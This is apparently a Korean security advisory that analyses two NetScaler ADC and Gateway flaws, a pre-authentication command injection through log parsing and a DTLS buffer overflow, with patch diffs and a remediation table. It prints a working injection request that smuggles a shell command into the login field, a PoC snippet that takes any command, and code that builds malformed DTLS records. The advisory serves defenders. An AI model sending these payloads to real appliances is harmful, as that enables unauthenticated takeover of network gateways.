1. CVE-2026-88771

- 로그 파일에서 추출한 문자열을 적절히 검증하지 않아 원격에서 인증되지 않은 공격자가 임의 명령을 실행할 수 있는 원격 코드 실행 취약점 (CVSS: 9.5) [1][2]
> 해당 취약점은 모든 NetScaler ADC 및 NetScaler Gateway의 기본 구성 환경 전체에 영향을 미치므로 신속한 업데이트 적용 권고
영향받는 버전
- NetScaler ADC 및 Gateway 14.1 : 14.1-73.37 미만 버전
- NetScaler ADC 및 Gateway 13.1 : 13.1-64.23 미만 버전
- NetScaler ADC FIPS 14.1 : 14.1-73.37 FIPS 미만 버전
- NetScaler ADC FIPS 및 NDcPP 13.1 : 13.1-37.279 미만 버전
- ns_monuploadd_err.pl이 로그를 읽고 파일 검색 명령을 구성
# /netscaler/ns_monuploadd_err.pl
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |\
-tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`; # [1]
chomp($WR_PPE_COREFILE_NAME);
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
| 구분 | 설명 |
| grep 명령 | - @WR_FILES에 지정된 파일에서 두 가지 특정 비정상 종료 메시지 중 하나와 일치하는 행을 검색 > pitboss 뒤에 PPE가 나오고, 이후 missed too many heartbeats 또는 unexpectedly died가 나오는 행 |
| tail 명령 | - 검색 결과 중 마지막 행 하나만 선택 |
| sed 명령 | - 각 행에서 NSPPE 이전의 모든 내용과 괄호 제거 |
| awk 명령 | - 공백 기준 첫 번째 필드와 두 번째 필드 사이에 -를 넣어 출력 |
- 위 명령 실행 결과로 문자열 NSPPE-01-45678이 출력되며, 해당 출력을 NSPPE 코어 파일인지, 숫자 형태의 프로세스 ID인지 검증하지 않고 다음 명령의 실행 인자로 전달
> 공격자 제어 문자열이 에러 로그에 기록되고, ns_monuploadd_err.pl이 로그를 읽어 임의 명령 실행 가능

[요청 예시]
POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded
login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X</@urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On
[응답 예시]
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http://localhost>:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action 'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Set-Cookie: NSC_DLGE=yyyyyyy;Secure;HttpOnly;Path=/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 2253
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8
X-Citrix-Application: Receiver for Web
<AuthenticateResponse xmlns="<http://citrix.com/authentication/response/1>"><Status>success</Status><Result>update-credentials</Result><StateContext>ctx_hintYYYYYYY</StateContext><AuthenticationRequirements><PostBack>/nf/auth/doCredentialUpdate.do</PostBack><CancelPostBack>/nf/auth/doCancelCredentialUpdate.do</CancelPostBack><CancelButtonText>Cancel</CancelButtonText><Requirements><Requirement><Credential><Type>none</Type></Credential><Label><Text>nsg_changepass</Text><Type>nsg-login-heading</Type></Label><Input/></Requirement><Requirement><Credential><SaveID>login</SaveID><ID>username</ID><Type>username</Type></Credential><Label><Text>nsg_username</Text><Type>nsg-login-label</Type></Label><Input><Text><ReadOnly>true</ReadOnly><InitialValue>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# X</InitialValue></Text></Input></Requirement><Requirement><Credential><ID>oldpwd</ID><Type>password</Type></Credential><Label><Text>nsg_oldpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><SaveID>passwd</SaveID><ID>newpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_newpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><ID>confirmedpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_confirmpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><Type>none</Type></Credential><Label><Text></Text><Type>nsg-change-pass-assistive-text</Type></Label><Input/></Requirement><Requirement><Credential><ID>ns-dialogue-submit</ID><Type>none</Type></Credential><Input><Button>Submit</Button></Input></Requirement></Requirements></AuthenticationRequirements></AuthenticateResponse>
- 공개된 PoC는 /nf/auth/doAuthentication.do URL로 HTTP Body에 pitboss PPE unexpectedly died NSPPE;{악성명령};# X을 담은 POST 요청 전송 [3]
login_payload = f"pitboss PPE unexpectedly died NSPPE;{args.command};# X" ; #Pat & Mat
encoded_login = urllib.parse.quote(login_payload, safe='') ;
url = args.target.rstrip('/') + "/nf/auth/doAuthentication.do"
try:
response = requests.post(url, data=body, headers=headers, timeout=15, verify=False)
- 패치 분석
> 정규식으로 예상 형식 검증 : “NSPPE-” 문자열 뒤 정확히 두 자리 숫자와 숫자로 이루어진 PID로만 조합
> 인자들을 분리해 find 명령 실행 : 명령과 인자가 분리되므로 셸 문법으로 해석되는 위험을 줄임
> 검색 결과 경로 검증 : 검색 결과 경로가 허용된 문자 집합으로만 구성되어 있는지 확인
my $WR_PPE_COREFILE_NAME = "";
my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/;
for my $log (@WR_FILES) {
open my $fh, '<', $log or next;
while (my $line = <$fh>) {
$WR_PPE_COREFILE_NAME = "$1-$2" if $line =~ $CORE_RE;
}
close $fh;
}
my $WR_PPE_CORE = "";
if (open my $find, '-|', 'find', "$OFF_DIR/var/core", '-type', 'f',
'(', '-name', $WR_PPE_COREFILE_NAME,
'-o', '-name', "$WR_PPE_COREFILE_NAME.gz", ')')
{
while (my $found = <$find>) {
chomp $found;
if ($found =~ /\A[A-Za-z0-9\/\-.]+\z/) {
$WR_PPE_CORE = $found;
}
}
close $find;
}
2. CVE-2026-88772

- DTLS(Datagram Transport Layer Security) 기능이 활성화된 경우, DTLS 핸드셰이크 메시지를 재조립하는 과정에서 NSB(NetScaler Buffer) 체인의 데이터를 고정 크기 버퍼로 복사할 때, 복사할 데이터의 길이를 적절히 검증하지 않아 임의 코드 실행 또는 서비스 거부를 유발할 수 있는 취약점 (CVSS: 9.5)
> DTLS(Datagram Transport Layer Security)는 UDP 환경에서 TLS와 유사한 보안 기능을 제공하는 프로토콜
영향받는 버전
- NetScaler ADC 및 Gateway 14.1 : 14.1-73.37 미만 버전
- NetScaler ADC 및 Gateway 13.1 : 13.1-64.23 미만 버전
- NetScaler ADC FIPS 14.1 : 14.1-73.37 FIPS 미만 버전
- NetScaler ADC FIPS 및 NDcPP 13.1 : 13.1-37.279 미만 버전
- NetScaler는 수신한 DTLS 패킷을 NSB(NetScaler Buffer)라는 버퍼 객체에 저장하며, 여러 버퍼를 연결한 뒤 하나의 연속된 35,840 바이트의 Scratch Buffer로 복사
> 해당 과정에서 복사 대상 데이터가 버퍼의 남은 공간에 들어가는지 확인하지 않고 복사하여 임의 코드 실행 또는 서비스 거부 유발 가능
| 구분 | 설명 |
| DTLS 연결 생성 | - 공격자는 쿠키 검증 절차를 거쳐 DTLS 연결 생성 |
| 비정상 핸드셰이크 조각 전송 | - length, message_seq, fragment_offset, fragment_length 헤더를 조작한 악성 핸드셰이크 조각 전송 > length : 전체 핸드셰이크 메시지 크기 (조작 값 : 120) > message_seq : 해당 조각이 어떤 핸드셰이크 메시지에 속하는지 서버에 알려줌 (조작 값 : 2) > fragment_offset : 해당 조각이 메시지 내에서 어디에 위치해야 하는지 서버에 알려줌 (조작 값 : 0부터 119까지 증가) > fragment_length : 조각이 몇 바이트를 포함하는지 서버에 알려줌 (조작 값 : 1) |
| NSB 체인 누적 | - 조작된 레코드를 120회 전송하면서 fragment_offset을 0부터 119까지 증가시키고 나머지 헤더 값을 유지 > NSB 체인에는 DTLS 헤더를 제외한 데이터 약 173,652바이트가 누적되며, DTLS 헤더 13바이트를 포함하면 약 173,665바이트 |
| 버퍼 오버 플로우 | - NSB 체인의 데이터를 고정 크기 Scratch Buffer로 복사 > 복사할 데이터의 길이와 버퍼의 남은 공간을 검증하지 않아 버퍼 경계를 초과하는 메모리 쓰기 발생 |
- 공개된 PoC는 length=120, fragment_length=1, fragment_offset=0~119로 구성한 비정상 핸드셰이크 레코드 120개를 전송하여, 서버의 NSB 체인 처리 과정에서 고정 크기 Scratch Buffer의 경계 검증 누락 유발 [5]
# 비정상 핸드셰이크 헤더 생성
def handshake_header(handshake_type, total_length, message_sequence,
fragment_offset, fragment_length):
return (
bytes([handshake_type])
+ total_length.to_bytes(3, "big")
+ message_sequence.to_bytes(2, "big")
+ fragment_offset.to_bytes(3, "big")
+ fragment_length.to_bytes(3, "big")
)
# 비정상 핸드셰이크 레코드 구성
def malicious_record(index, patches):
primary = (
handshake_header(0x10, LOGICAL_SIZE, 2, index, 1)
+ bytes(PHYSICAL_PRIMARY_SIZE)
)
hidden = (
handshake_header(0x10, HIDDEN_DECLARED_SIZE, 3, 0, HIDDEN_DECLARED_SIZE)
+ b"\xff" * HIDDEN_PAYLOAD_SIZE
)
payload = bytearray(primary + hidden)
for body_offset, value in patches.get(index, {}).items():
payload[body_offset] = value
return record(bytes(payload), 2 + index)
- 패치 분석
> 전체 35,840 바이트에서 이미 복사된 바이트를 뺀 후 복사할 데이터가 해당 공간을 초과하면 처리 거부
--- nsppe-14.1-73.30
+++ nsppe-14.1-73.37
@@ DTLS NSB-chain copy loop @@
+0x143649d mov r15d, 0x8c00 // [1]
+0x14364a3 sub r15d, eax // [2]
0x14364b0 movzx edx, word ptr [r14 + 0xf2] // next NSB size
+0x14364b8 cmp r15d, edx // [3]
+0x14364bb jb reject_oversized_chain // [4]
0x14364cc mov rsi, qword ptr [r14 + 0xe8] // source bytes
0x14364d3 mov rdi, rbx // scratch-buffer position
0x14364d6 call memcpy // [5]
0x14364e3 add rbx, rax // move output position
+0x14364e6 sub r15d, eax // [6]
3. 대응방안
- 벤더사 제공 업데이트 적용 [6][7]
> 해당 패치에서 두 가지 취약점을 포함한 총 8개의 취약점을 패치
| 취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
| CVE-2026-88771 CVE-2026-88772 |
NetScaler ADC 및 Gateway 14.1 | 14.1-73.37 미만 버전 | 14.1-73.37 이상 |
| NetScaler ADC 및 Gateway 13.1 | 13.1-64.23 미만 버전 | 13.1-64.23 이상 | |
| NetScaler ADC FIPS 14.1 | 14.1-73.37 FIPS 미만 버전 | 14.1-73.37 FIPS 이상 | |
| NetScaler ADC FIPS 및 NDcPP 13.1 | 13.1-37.279 미만 버전 | 13.1-37.279 이상 |
※ 함께 패치된 취약점
| CVE | 설명 |
| CVE-2026-88773 [8] | HTTP 설정이 활성화된 경우, HTTP 요청 스머글링(HTTP 요청을 일관성 없이 해석하는 행위) 발생 (CVSS: 9.3) |
| CVE-2026-88774 [9] | URL 기반 정책식 사용 시, 정책 우회 가능 (CVSS: 9.3) |
| CVE-2026-88775 [10] | Gateway 또는 AAA 가상서버로 구성된 경우, 메모리 오버플로 발생 (CVSS: 7.0) |
| CVE-2026-88776 [11] | Oracle LB 가상서버로 구성된 경우, 메모리 오버플로 발생 (CVSS: 8.8) |
| CVE-2026-88777 [12] | 비HTTP L7 프로토콜 기능이 활성화된 경우, 메모리 오버플로 발생 (CVSS: 8.8) |
| CVE-2026-88778 [13] | TCP 설정 활성화된 경우, TCP 초기순서번호(ISN) 예측 가능 (CVSS: 8.8) |
4. 참고
[1] https://nvd.nist.gov/vuln/detail/cve-2026-88771
[2] https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/
[3] https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771?ref=labs.watchtowr.com
[4] https://nvd.nist.gov/vuln/detail/cve-2026-88772
[5] https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88772?ref=labs.watchtowr.com
[6] https://support.citrix.com/external/article/CTX697096/citrix-netscaler-adc-and-citrix-netscale.html
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=72201
[8] https://nvd.nist.gov/vuln/detail/cve-2026-88773
[9] https://nvd.nist.gov/vuln/detail/cve-2026-88774
[10] https://nvd.nist.gov/vuln/detail/cve-2026-88775
[11] https://nvd.nist.gov/vuln/detail/cve-2026-88776
[12] https://nvd.nist.gov/vuln/detail/cve-2026-88777
[13] https://nvd.nist.gov/vuln/detail/cve-2026-88778
'취약점 > RCE' 카테고리의 다른 글
| JetBrains TeamCity On-Premises 신뢰할 수 없는 데이터의 역직렬화 취약점 (CVE-2026-63077) (0) | 2026.10.06 |
|---|---|
| Gitea diffpatch 엔드포인트를 통한 RCE 취약점 (CVE-2026-60004) (0) | 2026.09.17 |
| WordPress 미인증 RCE 체인 (wp2shell: CVE-2026-63030, CVE-2026-60137) (1) | 2026.07.24 |
| GitHub 원격 코드 실행 취약점 (CVE-2026-3854) (0) | 2026.05.05 |
| HPE OneView 원격 코드 실행 취약점 (CVE-2025-37164) (0) | 2025.12.22 |










